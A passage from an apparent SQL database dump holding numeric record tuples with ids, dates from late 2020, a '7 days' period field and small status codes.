days',0),(34448,11351,6732,7985,1456,667,'2020-11-24','7 days',0),(34449,15176,6695,7951,1456,667,'2020-11-24','7 days',1),(34450,14766,6695,7951,1456,667,'2020-11-24','7 days',0),(34451,14765,6695,7951,1456,667,'2020-11-24','7 days',1),(34452,14764,6695,7951,1456,667,'2020-11-24','7 days',2),(34472,11356,6695,7951,1456,667,'2020-11-25','7 days',0),(34473,11355,6695,7951,1456,667,'2020-11-25','7 days',1),(34474,11354,6695,7951,1456,667,'2020-11-25','7 days',1),(34524,8784,6666,7924,161,73,'2020-11-26','7 days',1),(34525,8783,6666,7924,161,73,'2020-11-26','7 days',0),(34526,656,6666,7924,161,73,'2020-11-26','7 days',0),(34527,653,6666,7924,161,73,'2020-11-26','7 days',2),(34528,650,6684,7940,162,73,'2020-11-26','7 days',2),(34529,649,6684,7940,162,73,'2020-11-26','7 days',0),(34530,646,6684,7940,162,73,'2020-11-26','7 days',1),(34531,645,6684,7940,162,73,'2020-11-26','7 days',1),(34532,673,6710,7965,162,73,'2020-11-26','7 days',0),(34533,667,6710,7965,162,73,'2020-11-26','7 days',1),(34534,666,6710,7965,162,73,'2020-11-26','7 days',0),(34535,11689,6759,3876,194,45,'2020-11-26','7 days',1),(34537,11689,6751,8004,194,45,'2020-11-26','7 days',1),(34559,11689,6761,8016,194,45,'2020-11-27','7 days',1),(34560,12027,6642,6984,1235,277,'2020-11-27','7 days',0),(34561,12024,6642,6984,1235,277,'2020-11-27','7 days',0),(34562,12023,6642,6984,1235,277,'2020-11-27','7 days',0),(34563,12022,6642,6984,1235,277,'2020-11-27','7 days',1),(34564,12022,6643,6984,1235,277,'2020-11-27','7 days',1),(34565,12020,6643,6984,1235,277,'2020-11-27','7 days',0),(34566,12017,6643,6984,1235,277,'2020-11-27','7 days',0),(34567,9897,6643,6984,1235,277,'2020-11-27','7 days',1),(34568,15429,6765,8022,1370,667,'2020-11-27','7 days',0),(34569,15428,6765,8022,1370,667,'2020-11-27','7 days',0),(34570,15427,6765,8022,1370,667,'2020-11-27','7 days',0),(34571,15426,6765,8022,1370,667,'2020-11-27','7 days',0),(34572,15433,6732,7985,1456,667,'2020-11-27','7 days',2),(34573,15432,6732,7985,1456,667,'2020-11-27','7 days',0),(34574,15431,6732,7985,1456,667,'2020-11-27','7 days',0),(34575,15430,6732,7985,1456,667,'2020-11-27','7 days',0),(34576,15436,6695,7951,1456,667,'2020-11-27','7 days',0),(34577,15435,6695,7951,1456,667,'2020-11-27','7 days',0),(34578,15434,6695,7951,1456,667,'2020-11-27','7 days',0),(34579,14805,6695,7951,1456,667,'2020-11-27','7 days',1),(34586,10682,6764,8021,1408,86,'2020-11-27','7 days',0),(34587,10681,6764,8021,1408,86,'2020-11-27','7 days',1),(34588,10680,6764,8021,1408,86,'2020-11-27','7 days',0),(34589,10679,6764,8021,1408,86,'2020-11-27','7 days',0),(34590,10678,6764,8021,1408,86,'2020-11-27','7 days',0),(34591,10677,6764,8021,1408,86,'2020-11-27','7 days',0),(34592,10676,6764,8021,1408,86,'2020-11-27','7 days',0),(34599,12875,6677,7934,1067,326,'2020-11-28','7 days',1),(34600,7415,6677,7934,1067,326,'2020-11-28','7 days',0),(34644,14771,6765,8022,1370,667,'2020-11-28','7 days',0),(34645,14770,6765,8022,1370,667,'2020-11-28','7 days',0),(34646,14769,6765,8022,1370,667,'2020-11-28','7 days',0),(34647,14768,6765,8022,1370,667,'2020-11-28','7 days',0),(34648,15399,6732,7985,1456,667,'2020-11-28','7 days',0),(34649,15398,6732,7985,1456,667,'2020-11-28','7 days',1),(34650,15397,6732,7985,1456,667,'2020-11-28','7 days',1),(34651,15396,6732,7985,1456,667,'2020-11-28','7 days',0),(34652,10682,6769,8028,1343,86,'2020-11-28','7 days',0),(34653,10681,6769,8028,1343,86,'2020-11-28','7 days',1),(34654,10680,6769,8028,1343,86,'2020-11-28','7 days',0),(34655,10679,6769,8028,1343,86,'2020-11-28','7 days',0),(34656,10678,6769,8028,1343,86,'2020-11-28','7 days',0),(34657,10677,6769,8028,1343,86,'2020-11-28','7 days',0),(34658,10676,6769,8028,1343,86,'2020-11-28','7 days',0),(34669,12875,6770,8030,1067,326,'2020-11-30','7 days',1),(34670,15436,6765,8022,1370,667,'2020-11-30','7 days',0),(34671,15435,6765,8022,1370,667,'2020-11-30','7 days',0),(34672,15434,6765,8022,1370,667,'2020-11-30','7 days',2),(34673,14828,6765,8022,1370,667,'2020-11-30','7 days',0),(34674,15439,6732,7985,1456,667,'2020-11-30','7 days',0),(34675,15438,6732,7985,1456,667,'2020-11-30','7 days',0),(34676,15437,6732,7985,1456,667,'2020-11-30','7 days',0),(34677,15370,6775,8035,1439,86,'2020-11-30','7 days',0),(34678,14580,6775,8035,1439,86,'2020-11-30','7 days',0),(34679,14439,6775,8035,1439,86,'2020-11-30','7 days',0),(34680,13236,6775,8035,1439,86,'2020-11-30','7 days',0),(34681,13100,6775,8035,1439,86,'2020-11-30','7 days',0),(34682,12282,6775,8035,1439,86,'2020-11-30','7 days',0),(34683,12278,6775,8035,1439,86,'2020-11-30','7 days',0),(34684,10916,6775,8035,1439,86,'2020-11-30','7 days',0),(34685,10915,6775,8035,1439,86,'2020-11-30','7 days',0),(34686,10914,6775,8035,1439,86,'2020-11-30','7 days',2),(34687,10913,6775,8035,1439,86,'2020-11-30','7 days',0),(34688,9091,6775,8035,1439,86,'2020-11-30','7 days',0),(34689,8996,6775,8035,1439,86,'2020-11-30','7 days',1),(34696,14994,6764,8021,1408,86,'2020-12-01','7 days',0),(34697,14618,6764,8021,1408,86,'2020-12-01','7 days',0),(34698,14444,6764,8021,1408,86,'2020-12-01','7 days',0),(34699,14443,6764,8021,1408,86,'2020-12-01','7 days',0),(34700,14442,6764,8021,1408,86,'2020-12-01','7 days',2),(34701,13098,6764,8021,1408,86,'2020-12-01','7 days',0),(34733,15462,6538,7800,1406,971,'2020-12-01','7 days',0),(34740,14827,6765,8022,1370,667,'2020-12-01','7 days',0),(34741,14826,6765,8022,1370,667,'2020-12-01','7 days',0),(34742,14825,6765,8022,1370,667,'2020-12-01','7 days',0),(34835,14805,6765,8022,1370,667,'2020-12-02','7 days',1),(34836,11355,6765,8022,1370,667,'2020-12-02','7 days',1),(34837,11354,6765,8022,1370,667,'2020-12-02','7 days',1),(34838,11351,6765,8022,1370,667,'2020-12-02','7 days',0),(34882,9135,6752,8006,1245,91,'2020-12-02','7 days',1),(34883,9133,6752,8006,1245,91,'2020-12-02','7 days',1),(34884,7287,6752,8006,1245,91,'2020-12-02','7 days',1),(34885,7286,6752,8006,1245,91,'2020-12-02','7 days',1),(34887,11970,6784,8044,1343,86,'2020-12-02','7 days',0),(34888,11969,6784,8044,1343,86,'2020-12-02','7 days',0),(34889,11967,6784,8044,1343,86,'2020-12-02','7 days',0),(34890,11965,6784,8044,1343,86,'2020-12-02','7 days',1),(34891,11964,6784,8044,1343,86,'2020-12-02','7 days',0),(34892,11962,6784,8044,1343,86,'2020-12-02','7 days',0),(34893,11961,6784,8044,1343,86,'2020-12-02','7 days',0),(34894,11959,6784,8044,1343,86,'2020-12-02','7 days',0),(34895,11957,6784,8044,1343,86,'2020-12-02','7 days',0),(34896,11954,6784,8044,1343,86,'2020-12-02','7 days',1),(34897,11951,6784,8044,1343,86,'2020-12-02','7 days',0),(34898,11949,6784,8044,1343,86,'2020-12-02','7 days',2),(34899,15369,6782,8042,1394,86,'2020-12-02','7 days',2),(34900,15368,6782,8042,1394,86,'2020-12-02','7 days',2),(34901,15367,6782,8042,1394,86,'2020-12-02','7 days',0),(34902,15366,6782,8042,1394,86,'2020-12-02','7 days',2),(34903,15365,6782,8042,1394,86,'2020-12-02','7 days',0),(34904,15364,6782,8042,1394,86,'2020-12-02','7 days',0),(34905,15363,6782,8042,1394,86,'2020-12-02','7 days',1),(34906,15362,6782,8042,1394,86,'2020-12-02','7 days',0),(34907,14994,6782,8042,1394,86,'2020-12-02','7 days',1),(34908,14909,6782,8042,1394,86,'2020-12-02','7 days',1),(34909,14786,6782,8042,1394,86,'2020-12-02','7 days',2),(34910,14785,6782,8042,1394,86,'2020-12-02','7 days',0),(34911,11848,6782,8042,1394,86,'2020-12-02','7 days',0),(34912,11847,6782,8042,1394,86,'2020-12-02','7 days',0),(34913,10685,6782,8042,1394,86,'2020-12-02','7 days',1),(34914,15493,6689,7945,1408,86,'2020-12-02','7 days',1),(34915,15494,6689,7945,1408,86,'2020-12-02','7 days',0),(34916,15495,6689,7945,1408,86,'2020-12-02','7 days',0),(34917,15496,6689,7945,1408,86,'2020-12-02','7 days',0),(34918,12783,6769,8028,1343,86,'2020-12-02','7 days',0),(34919,12360,6769,8028,1343,86,'2020-12-02','7 days',0),(34920,12359,6769,8028,1343,86,'2020-12-02','7 days',0),(34921,12358,6769,8028,1343,86,'2020-12-02','7 days',0),(34922,12303,6769,8028,1343,86,'2020-12-02','7 days',0),(34923,12300,6769,8028,1343,86,'2020-12-02','7 days',0),(34924,12299,6769,8028,1343,86,'2020-12-02','7 days',2),(34925,14784,6707,7962,1394,86,'2020-12-02','7 days',0),(34926,14783,6707,7962,1394,86,'2020-12-02','7 days',0),(34927,14664,6707,7962,1394,86,'2020-12-02','7 days',2),(34928,14663,6707,7962,1394,86,'2020-12-02','7 days',1),(34929,14662,6707,7962,1394,86,'2020-12-02','7 days',0),(34971,5405,6191,7435,357,251,'2020-12-03','7 days',0),(34972,3261,6191,7435,357,251,'2020-12-03','7 days',0),(34973,3259,6191,7435,357,251,'2020-12-03','7 days',0),(34974,3256,6191,7435,357,251,'2020-12-03','7 days',0),(34981,14805,6732,7985,1456,667,'2020-12-03','7 days',1),(34982,14765,6732,7985,1456,667,'2020-12-03','7 days',1),(35006,11360,6765,8022,1370,667,'2020-12-03','7 days',0),(35007,11359,6765,8022,1370,667,'2020-12-03','7 days',0),(35008,11357,6765,8022,1370,667,'2020-12-03','7 days',0),(35009,11356,6765,8022,1370,667,'2020-12-03','7 days',0),(35010,11352,6765,8022,1370,667,'2020-12-03','7 days',0),(35011,15540,6797,8058,1439,86,'2020-12-03','7 days',2),(35012,15539,6797,8058,1439,86,'2020-12-03','7 days',0),(35013,15538,6797,8058,1439,86,'2020-12-03','7 days',0),(35014,15537,6797,8058,1439,86,'2020-12-03','7 days',0),(35015,15536,6797,8058,1439,86,'2020-12-03','7 days',0),(35016,15535,6797,8058,1439,86,'2020-12-03','7 days',0),(35017,15534,6797,8058,1439,86,'2020-12-03','7 days',0),(35018,15533,6797,8058,1439,86,'2020-12-03','7 days',1),(35019,15532,6797,8058,1439,86,'2020-12-03','7 days',0),(35020,15531,6797,8058,1439,86,'2020-12-03','7 days',0),(35021,15530,6797,8058,1439,86,'2020-12-03','7 days',0),(35022,15529,6797,8058,1439,86,'2020-12-03','7 days',0),(35023,15528,6797,8058,1439,86,'2020-12-03','7 days',0),(35024,14617,6797,8058,1439,86,'2020-12-03','7 days',0),(35025,14446,6797,8058,1439,86,'2020-12-03','7 days',0),(35026,12770,6797,8058,1439,86,'2020-12-03','7 days',0),(35027,12530,6797,8058,1439,86,'2020-12-03','7 days',0),(35028,12529,6797,8058,1439,86,'2020-12-03','7 days',0),(35029,6348,6797,8058,1439,86,'2020-12-03','7 days',0),(35030,15495,6800,8061,1393,86,'2020-12-03','7 days',0),(35031,14911,6800,8061,1393,86,'2020-12-03','7 days',0),(35032,14910,6800,8061,1393,86,'2020-12-03','7 days',0),(35033,14907,6800,8061,1393,86,'2020-12-03','7 days',0),(35034,14906,6800,8061,1393,86,'2020-12-03','7 days',0),(35035,14905,6800,8061,1393,86,'2020-12-03','7 days',0),(35036,14904,6800,8061,1393,86,'2020-12-03','7 days',0),(35037,14846,6800,8061,1393,86,'2020-12-03','7 days',0),(35038,13923,6800,8061,1393,86,'2020-12-03','7 days',0),(35039,13922,6800,8061,1393,86,'2020-12-03','7 days',0),(35040,13921,6800,8061,1393,86,'2020-12-03','7 days',0),(35102,12739,6741,7993,1342,971,'2020-12-04','7 days',0),(35103,11698,6741,7993,1342,971,'2020-12-04','7 days',0),(35104,11456,6741,7993,1342,971,'2020-12-04','7 days',0),(35105,11126,6741,7993,1342,971,'2020-12-04','7 days',1),(35106,10978,6741,7993,1342,971,'2020-12-04','7 days',1),(35107,10967,6741,7993,1342,971,'2020-12-04','7 days',1),(35108,10966,6741,7993,1342,971,'2020-12-04','7 days',1),(35109,10965,6741,7993,1342,971,'2020-12-04','7 days',0),(35110,10964,6741,7993,1342,971,'2020-12-04','7 days',0),(35111,10963,6741,7993,1342,971,'2020-12-04','7 days',1),(35112,15462,6631,7887,1342,971,'2020-12-04','7 days',0),(35126,15399,6765,8022,1370,667,'2020-12-04','7 days',0),(35127,15398,6765,8022,1370,667,'2020-12-04','7 days',1),(35128,15397,6765,8022,1370,667,'2020-12-04','7 days',1),(35129,15396,6765,8022,1370,667,'2020-12-04','7 days',0),(35130,15187,6765,8022,1370,667,'2020-12-04','7 days',0),(35131,15186,6765,8022,1370,667,'2020-12-04','7 days',1),(35132,15185,6765,8022,1370,667,'2020-12-04','7 days',0),(35133,15184,6765,8022,1370,667,'2020-12-04','7 days',0),(35134,15183,6765,8022,1370,667,'2020-12-04','7 days',1),(35135,15182,6765,8022,1370,667,'2020-12-04','7 days',1),(35139,12513,6572,7831,1408,86,'2020-12-04','7 days',0),(35140,15567,6797,8058,1439,86,'2020-12-04','7 days',0),(35141,15570,6769,8028,1343,86,'2020-12-04','7 days',0),(35142,15569,6769,8028,1343,86,'2020-12-04','7 days',0),(35164,13669,6800,8061,1393,86,'2020-12-05','7 days',2),(35165,13101,6800,8061,1393,86,'2020-12-05','7 days',0),(35166,13098,6800,8061,1393,86,'2020-12-05','7 days',0),(35167,15584,6797,8058,1439,86,'2020-12-05','7 days',0),(35168,15585,6775,8035,1439,86,'2020-12-05','7 days',0),(35169,15586,6769,8028,1343,86,'2020-12-05','7 days',1),(35170,15587,6764,8021,1408,86,'2020-12-05','7 days',0),(35171,15588,6707,7962,1394,86,'2020-12-05','7 days',1),(35172,15589,6572,7831,1408,86,'2020-12-05','7 days',1),(35177,11360,6731,7985,1370,667,'2020-12-05','7 days',0),(35181,11358,6731,7985,1370,667,'2020-12-05','7 days',0),(35183,11357,6731,7985,1370,667,'2020-12-05','7 days',0),(35184,11356,6731,7985,1370,667,'2020-12-05','7 days',0),(35185,11355,6731,7985,1370,667,'2020-12-05','7 days',1),(35186,11352,6731,7985,1370,667,'2020-12-05','7 days',0),(35187,11351,6731,7985,1370,667,'2020-12-05','7 days',0),(35188,15397,6731,7985,1370,667,'2020-12-05','7 days',1),(35189,15396,6731,7985,1370,667,'2020-12-05','7 days',0),(35190,14767,6731,7985,1370,667,'2020-12-05','7 days',0),(35231,12274,6752,8006,1245,91,'2020-12-07','7 days',1),(35232,12273,6752,8006,1245,91,'2020-12-07','7 days',1),(35233,12264,6752,8006,1245,91,'2020-12-07','7 days',1),(35234,12263,6752,8006,1245,91,'2020-12-07','7 days',1),(35345,15599,6538,7800,1406,971,'2020-12-08','7 days',1),(35347,5467,6808,8070,194,45,'2020-12-08','7 days',1),(35385,11689,6837,8100,194,45,'2020-12-08','7 days',1),(35451,15432,6765,8022,1370,667,'2020-12-09','7 days',0),(35452,15431,6765,8022,1370,667,'2020-12-09','7 days',2),(35453,15430,6765,8022,1370,667,'2020-12-09','7 days',0),(35454,15424,6765,8022,1370,667,'2020-12-09','7 days',0),(35455,11359,6732,7985,1456,667,'2020-12-09','7 days',0),(35456,11358,6732,7985,1456,667,'2020-12-09','7 days',0),(35523,12022,6843,6984,1235,277,'2020-12-10','7 days',1),(35524,12020,6843,6984,1235,277,'2020-12-10','7 days',0),(35525,11659,6840,6984,1235,277,'2020-12-10','7 days',1),(35526,11449,6840,6984,1235,277,'2020-12-10','7 days',0),(35527,11448,6840,6984,1235,277,'2020-12-10','7 days',0),(35528,9909,6826,8090,1235,277,'2020-12-10','7 days',1),(35529,9908,6826,8090,1235,277,'2020-12-10','7 days',1),(35530,9907,6826,8090,1235,277,'2020-12-10','7 days',0),(35531,9906,6826,8090,1235,277,'2020-12-10','7 days',0),(35532,12399,6237,7485,222,85,'2020-12-10','7 days',0),(35533,12398,6237,7485,222,85,'2020-12-10','7 days',0),(35534,12397,6237,7485,222,85,'2020-12-10','7 days',0),(35535,11813,6237,7485,222,85,'2020-12-10','7 days',0),(35536,11812,6237,7485,222,85,'2020-12-10','7 days',0),(35537,10955,6237,7485,222,85,'2020-12-10','7 days',0),(35538,10942,6237,7485,222,85,'2020-12-10','7 days',2),(35539,10941,6237,7485,222,85,'2020-12-10','7 days',1),(35540,10940,6237,7485,222,85,'2020-12-10','7 days',0),(35541,10939,6237,7485,222,85,'2020-12-10','7 days',0),(35542,10938,6237,7485,222,85,'2020-12-10','7 days',0),(35543,10937,6237,7485,222,85,'2020-12-10','7 days',0),(35544,10936,6237,7485,222,85,'2020-12-10','7 days',0),(35545,10935,6237,7485,222,85,'2020-12-10','7 days',0),(35546,10934,6237,7485,222,85,'2020-12-10','7 days',2),(35547,10933,6237,7485,222,85,'2020-12-10','7 days',0),(35548,10932,6237,7485,222,85,'2020-12-10','7 days',0),(35549,10931,6237,7485,222,85,'2020-12-10','7 days',0),(35550,10930,6237,7485,222,85,'2020-12-10','7 days',0),(35551,10929,6237,7485,222,85,'2020-12-10','7 days',0),(35552,10928,6237,7485,222,85,'2020-12-10','7 days',0),(35553,10927,6237,7485,222,85,'2020-12-10','7 days',0),(35554,10926,6237,7485,222,85,'2020-12-10','7 days',0),(35555,10925,6237,7485,222,85,'2020-12-10','7 days',0),(35556,10924,6237,7485,222,85,'2020-12-10','7 days',0),(35557,15439,6765,8022,1370,667,'2020-12-10','7 days',0),(35558,15438,6765,8022,1370,667,'2020-12-10','7 days',0),(35559,15437,6765,8022,1370,667,'2020-12-10','7 days',0),(35560,15433,6765,8022,1370,667,'2020-12-10','7 days',0),(35561,15182,6732,7985,1456,667,'2020-12-10','7 days',1),(35562,15181,6732,7985,1456,667,'2020-12-10','7 days',2),(35563,15180,6732,7985,1456,667,'2020-12-10','7 days',0),(35564,15179,6732,7985,1456,667,'2020-12-10','7 days',2),(35565,15178,6732,7985,1456,667,'2020-12-10','7 days',0),(35566,11354,6731,7985,1370,667,'2020-12-10','7 days',1),(35584,15626,6797,8058,1439,86,'2020-12-10','7 days',0),(35585,15625,6797,8058,1439,86,'2020-12-10','7 days',0),(35586,15624,6797,8058,1439,86,'2020-12-10','7 days',2),(35587,15623,6797,8058,1439,86,'2020-12-10','7 days',0),(35588,15629,6851,8116,1343,86,'2020-12-10','7 days',0),(35589,15628,6851,8116,1343,86,'2020-12-10','7 days',0),(35590,15627,6851,8116,1343,86,'2020-12-10','7 days',1),(35591,15372,6851,8116,1343,86,'2020-12-10','7 days',0),(35592,15542,6848,8042,1574,86,'2020-12-10','7 days',0),(35593,15543,6848,8042,1574,86,'2020-12-10','7 days',2),(35594,15544,6848,8042,1574,86,'2020-12-10','7 days',2),(35595,13344,6848,8042,1574,86,'2020-12-10','7 days',1),(35596,13343,6848,8042,1574,86,'2020-12-10','7 days',0),(35597,13342,6848,8042,1574,86,'2020-12-10','7 days',0),(35598,13341,6848,8042,1574,86,'2020-12-10','7 days',0),(35599,13340,6848,8042,1574,86,'2020-12-10','7 days',1),(35600,13339,6848,8042,1574,86,'2020-12-10','7 days',0),(35601,13338,6848,8042,1574,86,'2020-12-10','7 days',0),(35602,15634,6800,8061,1393,86,'2020-12-10','7 days',0),(35603,15633,6800,8061,1393,86,'2020-12-10','7 days',0),(35604,15632,6800,8061,1393,86,'2020-12-10','7 days',0),(35605,15631,6800,8061,1393,86,'2020-12-10','7 days',2),(35606,15630,6800,8061,1393,86,'2020-12-10','7 days',0),(35607,15541,6800,8061,1393,86,'2020-12-10','7 days',0),(35631,5467,6837,8100,194,45,'2020-12-11','7 days',1),(35651,15187,6731,7985,1370,667,'2020-12-12','7 days',0),(35652,15186,6731,7985,1370,667,'2020-12-12','7 days',1),(35653,15185,6731,7985,1370,667,'2020-12-12','7 days',0),(35654,15184,6731,7985,1370,667,'2020-12-12','7 days',0),(35655,15399,6863,7951,1456,667,'2020-12-12','7 days',0),(35656,15398,6863,7951,1456,667,'2020-12-12','7 days',1),(35657,15397,6863,7951,1456,667,'2020-12-12','7 days',1),(35658,15396,6863,7951,1456,667,'2020-12-12','7 days',0),(35686,13180,6862,8128,1410,975,'2020-12-14','7 days',1),(35687,12972,6862,8128,1410,975,'2020-12-14','7 days',1),(35688,13180,6860,8126,1410,975,'2020-12-14','7 days',1),(35689,12972,6860,8126,1410,975,'2020-12-14','7 days',1),(35695,9936,6466,7735,359,251,'2020-12-14','7 days',0),(35696,9935,6466,7735,359,251,'2020-12-14','7 days',0),(35697,9934,6466,7735,359,251,'2020-12-14','7 days',0),(35698,9933,6466,7735,359,251,'2020-12-14','7 days',0),(35699,9932,6466,7735,359,251,'2020-12-14','7 days',1),(35700,9034,6466,7735,359,251,'2020-12-14','7 days',0),(35701,9033,6466,7735,359,251,'2020-12-14','7 days',0),(35702,9032,6466,7735,359,251,'2020-12-14','7 days',0),(35703,9031,6466,7735,359,251,'2020-12-14','7 days',2),(35704,9030,6466,7735,359,251,'2020-12-14','7 days',0),(35705,9029,6466,7735,359,251,'2020-12-14','7 days',0),(35706,9028,6466,7735,359,251,'2020-12-14','7 days',0),(35707,9027,6466,7735,359,251,'2020-12-14','7 days',0),(35708,9026,6466,7735,359,251,'2020-12-14','7 days',0),(35709,9025,6466,7735,359,251,'2020-12-14','7 days',0),(35710,9024,6466,7735,359,251,'2020-12-14','7 days',0),(35711,9023,6466,7735,359,251,'2020-12-14','7 days',0),(35712,9022,6466,7735,359,251,'2020-12-14','7 days',0),(35713,9021,6466,7735,359,251,'2020-12-14','7 days',0),(35714,6894,6466,7735,359,251,'2020-12-14','7 days',0),(35715,6893,6466,7735,359,251,'2020-12-14','7 days',0),(35716,6892,6466,7735,359,251,'2020-12-14','7 days',0),(35717,6891,6466,7735,359,251,'2020-12-14','7 days',0),(35729,673,6817,7918,161,73,'2020-12-14','7 days',0),(35730,667,6817,7918,161,73,'2020-12-14','7 days',1),(35731,666,6817,7918,161,73,'2020-12-14','7 days',0),(35752,15652,6863,7951,1456,667,'2020-12-14','7 days',0),(35753,15651,6863,7951,1456,667,'2020-12-14','7 days',0),(35754,15650,6863,7951,1456,667,'2020-12-14','7 days',0),(35755,15647,6863,7951,1456,667,'2020-12-14','7 days',0),(35756,15436,6863,7951,1456,667,'2020-12-14','7 days',0),(35757,14770,6863,7951,1456,667,'2020-12-14','7 days',0),(35758,14769,6863,7951,1456,667,'2020-12-14','7 days',0),(35759,14768,6863,7951,1456,667,'2020-12-14','7 days',2),(35767,15660,6880,7951,1456,667,'2020-12-14','7 days',1),(35768,15659,6880,7951,1456,667,'2020-12-14','7 days',0),(35769,15658,6880,7951,1456,667,'2020-12-14','7 days',0),(35770,14828,6880,7951,1456,667,'2020-12-14','7 days',0),(35771,14827,6880,7951,1456,667,'2020-12-14','7 days',0),(35787,9159,6865,8129,1011,91,'2020-12-14','7 days',1),(35788,9155,6865,8129,1011,91,'2020-12-14','7 days',1),(35789,7213,6865,8129,1011,91,'2020-12-14','7 days',1),(35790,7212,6865,8129,1011,91,'2020-12-14','7 days',1),(35791,7020,6752,8006,1245,91,'2020-12-14','7 days',0),(35792,8784,6825,5891,160,73,'2020-12-14','7 days',1),(35793,8783,6825,5891,160,73,'2020-12-14','7 days',0),(35794,656,6825,5891,160,73,'2020-12-14','7 days',0),(35795,653,6825,5891,160,73,'2020-12-14','7 days',0),(35802,11689,6887,498,194,45,'2020-12-15','7 days',1),(35803,11689,6886,8151,194,45,'2020-12-15','7 days',1),(35804,11689,6873,6822,194,45,'2020-12-15','7 days',1),(35805,15399,6755,8009,1456,667,'2020-12-15','7 days',0),(35806,15398,6755,8009,1456,667,'2020-12-15','7 days',1),(35807,11355,6755,8009,1456,667,'2020-12-15','7 days',1),(35808,11354,6755,8009,1456,667,'2020-12-15','7 days',1),(35809,11352,6755,8009,1456,667,'2020-12-15','7 days',0),(35810,11351,6755,8009,1456,667,'2020-12-15','7 days',0),(35811,14805,6863,7951,1456,667,'2020-12-15','7 days',1),(35812,14767,6863,7951,1456,667,'2020-12-15','7 days',0),(35861,9111,6540,7802,357,251,'2020-12-15','7 days',1),(35862,9110,6540,7802,357,251,'2020-12-15','7 days',0),(35863,9109,6540,7802,357,251,'2020-12-15','7 days',0),(35864,9108,6540,7802,357,251,'2020-12-15','7 days',0),(35865,9107,6540,7802,357,251,'2020-12-15','7 days',0),(35866,5409,6239,7487,358,251,'2020-12-15','7 days',0),(35867,5408,6239,7487,358,251,'2020-12-15','7 days',0),(35868,5407,6239,7487,358,251,'2020-12-15','7 days',0),(35869,5406,6239,7487,358,251,'2020-12-15','7 days',0),(35870,5405,6239,7487,358,251,'2020-12-15','7 days',0),(35871,4274,6239,7487,358,251,'2020-12-15','7 days',0),(35872,4273,6239,7487,358,251,'2020-12-15','7 days',0),(35873,4272,6239,7487,358,251,'2020-12-15','7 days',0),(35874,4271,6239,7487,358,251,'2020-12-15','7 days',0),(35875,4270,6239,7487,358,251,'2020-12-15','7 days',0),(35876,4269,6239,7487,358,251,'2020-12-15','7 days',0),(35877,3262,6239,7487,358,251,'2020-12-15','7 days',0),(35878,3261,6239,7487,358,251,'2020-12-15','7 days',0),(35879,3260,6239,7487,358,251,'2020-12-15','7 days',0),(35880,14771,6880,7951,1456,667,'2020-12-15','7 days',0),(35881,14770,6880,7951,1456,667,'2020-12-15','7 days',0),(35882,14769,6880,7951,1456,667,'2020-12-15','7 days',0),(35883,14768,6880,7951,1456,667,'2020-12-15','7 days',0),(35884,11360,6755,8009,1456,667,'2020-12-15','7 days',0),(35885,11359,6755,8009,1456,667,'2020-12-15','7 days',0),(35886,11357,6755,8009,1456,667,'2020-12-15','7 days',0),(35887,11356,6755,8009,1456,667,'2020-12-15','7 days',0),(35888,6348,6851,8116,1343,86,'2020-12-15','7 days',0),(35889,14994,6851,8116,1343,86,'2020-12-15','7 days',1),(35920,8794,6910,8177,194,45,'2020-12-16','7 days',0),(35921,1990,6910,8177,194,45,'2020-12-16','7 days',0),(35922,14165,6910,8177,194,45,'2020-12-16','7 days',0),(35923,13523,6910,8177,194,45,'2020-12-16','7 days',0),(35924,13522,6910,8177,194,45,'2020-12-16','7 days',0),(35925,14165,6908,8175,194,45,'2020-12-16','7 days',0),(35926,13523,6908,8175,194,45,'2020-12-16','7 days',0),(35927,13522,6908,8175,194,45,'2020-12-16','7 days',0),(35928,12900,6908,8175,194,45,'2020-12-16','7 days',0),(35929,12867,6908,8175,194,45,'2020-12-16','7 days',1),(35930,12776,6887,498,194,45,'2020-12-16','7 days',1),(35931,12597,6887,498,194,45,'2020-12-16','7 days',2),(35932,10058,6887,498,194,45,'2020-12-16','7 days',0),(35933,911,6887,498,194,45,'2020-12-16','7 days',0),(35934,14534,6886,8151,194,45,'2020-12-16','7 days',1),(35935,12532,6886,8151,194,45,'2020-12-16','7 days',1),(35936,12531,6886,8151,194,45,'2020-12-16','7 days',1),(35937,11715,6886,8151,194,45,'2020-12-16','7 days',1),(35938,9651,6886,8151,194,45,'2020-12-16','7 days',0),(35939,10976,6873,6822,194,45,'2020-12-16','7 days',1),(35940,11714,6873,6822,194,45,'2020-12-16','7 days',1),(35941,10975,6873,6822,194,45,'2020-12-16','7 days',1),(35942,5467,6873,6822,194,45,'2020-12-16','7 days',1),(35943,1989,6873,6822,194,45,'2020-12-16','7 days',1),(35947,1359,6837,8100,194,45,'2020-12-16','7 days',0),(35948,1358,6837,8100,194,45,'2020-12-16','7 days',0),(35949,889,6837,8100,194,45,'2020-12-16','7 days',0),(35954,885,6759,3876,194,45,'2020-12-16','7 days',0),(35955,886,6759,3876,194,45,'2020-12-16','7 days',0),(35956,881,6759,3876,194,45,'2020-12-16','7 days',0),(35957,876,6759,3876,194,45,'2020-12-16','7 days',0),(35958,11845,6761,8016,194,45,'2020-12-16','7 days',1),(35959,11578,6761,8016,194,45,'2020-12-16','7 days',1),(35960,11577,6761,8016,194,45,'2020-12-16','7 days',1),(35961,11520,6761,8016,194,45,'2020-12-16','7 days',1),(35962,11519,6761,8016,194,45,'2020-12-16','7 days',1),(35963,11350,6808,8070,194,45,'2020-12-16','7 days',1),(35964,11518,6808,8070,194,45,'2020-12-16','7 days',1),(35965,11300,6808,8070,194,45,'2020-12-16','7 days',2),(35966,11299,6808,8070,194,45,'2020-12-16','7 days',0),(35984,11360,6880,7951,1456,667,'2020-12-16','7 days',0),(35985,11359,6880,7951,1456,667,'2020-12-16','7 days',0),(35986,11357,6880,7951,1456,667,'2020-12-16','7 days',0),(35987,11356,6880,7951,1456,667,'2020-12-16','7 days',0),(35988,11355,6880,7951,1456,667,'2020-12-16','7 days',1),(35989,11352,6880,7951,1456,667,'2020-12-16','7 days',0),(35990,14825,6755,8009,1456,667,'2020-12-16','7 days',0),(35991,14771,6755,8009,1456,667,'2020-12-16','7 days',0),(35992,14770,6755,8009,1456,667,'2020-12-16','7 days',0),(35993,14769,6755,8009,1456,667,'2020-12-16','7 days',0),(35994,14768,6755,8009,1456,667,'2020-12-16','7 days',2),(35995,15663,6862,8128,1410,975,'2020-12-16','7 days',1),(36012,10011,6540,7802,357,251,'2020-12-16','7 days',0),(36013,10010,6540,7802,357,251,'2020-12-16','7 days',1),(36014,10009,6540,7802,357,251,'2020-12-16','7 days',0),(36015,10008,6540,7802,357,251,'2020-12-16','7 days',0),(36016,10007,6540,7802,357,251,'2020-12-16','7 days',0),(36017,10006,6540,7802,357,251,'2020-12-16','7 days',0),(36018,10005,6540,7802,357,251,'2020-12-16','7 